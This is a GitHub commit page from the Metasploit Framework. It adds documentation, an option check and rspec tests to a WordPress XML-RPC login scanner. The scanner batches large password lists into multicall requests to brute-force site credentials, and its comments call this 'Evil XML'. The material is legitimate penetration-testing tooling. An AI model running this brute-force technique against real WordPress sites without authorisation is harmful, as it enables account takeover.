Skip to content

Commit

Permalink
Browse files Browse the repository at this point in the history
Do API documentation, rspec, and other small changes
  • Loading branch information
wchen-r7 committed Jan 21, 2016
1 parent a8feb8c commit 216986f
Show file tree
Hide file tree
Showing 3 changed files with 144 additions and 10 deletions.
34 changes: 28 additions & 6 deletions lib/metasploit/framework/login_scanner/wordpress_rpc.rb
Expand Up @@ -8,24 +8,42 @@ module LoginScanner
# Wordpress XML RPC login scanner
class WordpressRPC < HTTP

# @!attribute passwords
# @return [Array]
attr_accessor :passwords

# @!attribute chunk_size
# @return [Fixnum]
attr_accessor :chunk_size

# @!attribute block_wait
# @return [Fixnum]
attr_accessor :block_wait

# @!attribute base_uri
# @return [String]
attr_accessor :base_uri

attr_reader :wordpress_url_xmlrpc
# @!attribute wordpress_url_xmlrpc
# @return [String]
attr_accessor :wordpress_url_xmlrpc

def set_default
self.wordpress_url_xmlrpc = 'xmlrpc.php'
self.block_wait = 6
self.base_uri = '/'
self.chunk_size = 1800
end

# Returns the XML data that is used for the login.
#
# @param user [String] username
# @return [Array]
def generate_xml(user)
xml_payloads = []

# Evil XML | Limit number of log-ins to CHUNKSIZE/request due Wordpress limitation which is 1700 maximum.
# Evil XML | Limit number of log-ins to CHUNKSIZE/request due
# Wordpress limitation which is 1700 maximum.
passwords.each_slice(chunk_size) do |pass_group|
document = Nokogiri::XML::Builder.new do |xml|
xml.methodCall {
Expand All @@ -36,7 +54,6 @@ def generate_xml(user)
xml.array {
xml.data {
pass_group.each do |pass|
#$stderr.puts "Trying: #{user}:#{pass}"
xml.value {
xml.struct {
xml.member {
Expand All @@ -62,6 +79,10 @@ def generate_xml(user)
xml_payloads
end

# Sends an HTTP request to Wordpress.
#
# @param xml [String] XML data.
# @return [void]
def send_wp_request(xml)
opts =
{
Expand All @@ -84,8 +105,11 @@ def send_wp_request(xml)
end


# Attempts to login.
#
# @param credential [Metasploit::Framework::Credential]
# @return [Metasploit::Framework::LoginScanner::Result]
def attempt_login(credential)
#$stderr.puts "Testing: #{credential.public}"
generate_xml(credential.public).each do |xml|
send_wp_request(xml)
req_xml = Nokogiri::Slop(xml)
Expand All @@ -95,7 +119,6 @@ def attempt_login(credential)
if result.nil?
pass = req_xml.search("data/value/array/data")[i].value[1].text.strip
credential.private = pass
#$stderr.puts "Good: #{credential.inspect}"
result_opts = {
credential: credential,
host: host,
Expand All @@ -108,7 +131,6 @@ def attempt_login(credential)
end
end


result_opts = {
credential: credential,
host: host,
Expand Down
21 changes: 18 additions & 3 deletions modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb
Expand Up @@ -3,8 +3,6 @@
# Current source: https://github.com/rapid7/metasploit-framework
##

#load "./lib/metasploit/framework/login_scanner/wordpress_rpc.rb"

require 'msf/core'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/wordpress_rpc'
Expand All @@ -23,6 +21,9 @@ def initialize(info = {})
This module attempts to authenticate against a Wordpress-site
(via XMLRPC) using username and password combinations indicated
by the USER_FILE, PASS_FILE, and USERPASS_FILE options.
Please note this module will not work against newer versions of Wordpress,
such as 4.4.1, due to the mitigation in place.
},
'Author' =>
[
Expand Down Expand Up @@ -52,13 +53,27 @@ def initialize(info = {})
OptInt.new('CHUNKSIZE', [ true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500 ])
], self.class)

deregister_options('BLANK_PASSWORDS', 'PASSWORD', 'USERPASS_FILE', 'USER_AS_PASS')
# Not supporting these options, because we are not actually letting the API to process the
# password list for us. We are doing that in Metasploit::Framework::LoginScanner::WordpressRPC.
deregister_options(
'BLANK_PASSWORDS', 'PASSWORD', 'USERPASS_FILE', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_PASS'
)
end

def passwords
File.readlines(datastore['PASS_FILE']).lazy.map {|pass| pass.chomp}
end

def check_options
if datastore['CHUNKSIZE'] > 1700
fail_with(Failure::BadConfig, 'Option CHUNKSIZE cannot be larger than 1700')
end
end

def setup
check_options
end

def check_setup
vprint_status("Checking #{peer} status!")
version = wordpress_version
Expand Down
Expand Up @@ -5,7 +5,104 @@

it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP'

subject do
described_class.new
end

let(:username) do
'username'
end

let(:good_password) do
'goodpassword'
end

let(:passwords) do
[good_password]
end

let(:good_response) do
%Q|<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><array><data>
<value><array><data>
<value><struct>
<member><name>isAdmin</name><value><boolean>1</boolean></value></member>
<member><name>url</name><value><string>http://192.168.1.202/wordpress/</string></value></member>
<member><name>blogid</name><value><string>1</string></value></member>
<member><name>blogName</name><value><string>Test</string></value></member>
<member><name>xmlrpc</name><value><string>http://192.168.1.202/wordpress/xmlrpc.php</string></value></member>
</struct></value>
</data></array></value>
</data></array></value>
</data></array>
</value>
</param>
</params>
</methodResponse>
|
end

let(:response) do
r = Rex::Proto::Http::Response.new(200, 'OK')
r.body = good_response
r
end

before(:each) do
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:request_cgi).with(any_args)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).with(any_args).and_return(response)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:set_config).with(any_args)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:close)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect)
end

before do
subject.instance_variable_set(:@passwords, passwords)
subject.set_default
end

describe '#generate_xml' do
context 'when a username is given' do
it 'returns an array' do
expect(subject.generate_xml(username)).to be_kind_of(Array)
end

it 'contains our username' do
xml = subject.generate_xml(username).first
expect(xml).to include('<?xml version="1.0"?>')
end
end
end

describe '#attempt_login' do
context 'when the credential is valid' do
it 'returns a Result object indicating a successful login' do
cred_obj = Metasploit::Framework::Credential.new(public: username, private: good_password)
result = subject.attempt_login(cred_obj)
expect(result).to be_kind_of(::Metasploit::Framework::LoginScanner::Result)
expect(result.status).to eq(Metasploit::Model::Login::Status::SUCCESSFUL)
end
end
end

describe '#send_wp_request' do
context 'when a request is sent' do
it 'sets @res with an HTTP response object' do
subject.send_wp_request('xml')
expect(subject.instance_variable_get(:@res)).to be_kind_of(Rex::Proto::Http::Response)
end

it 'sets @res with an XML document' do
subject.send_wp_request('xml')
expect(subject.instance_variable_get(:@res).body).to include('<?xml version="1.0" encoding="UTF-8"?>')
end
end
end

end

0 comments on commit 216986f

Please sign in to comment.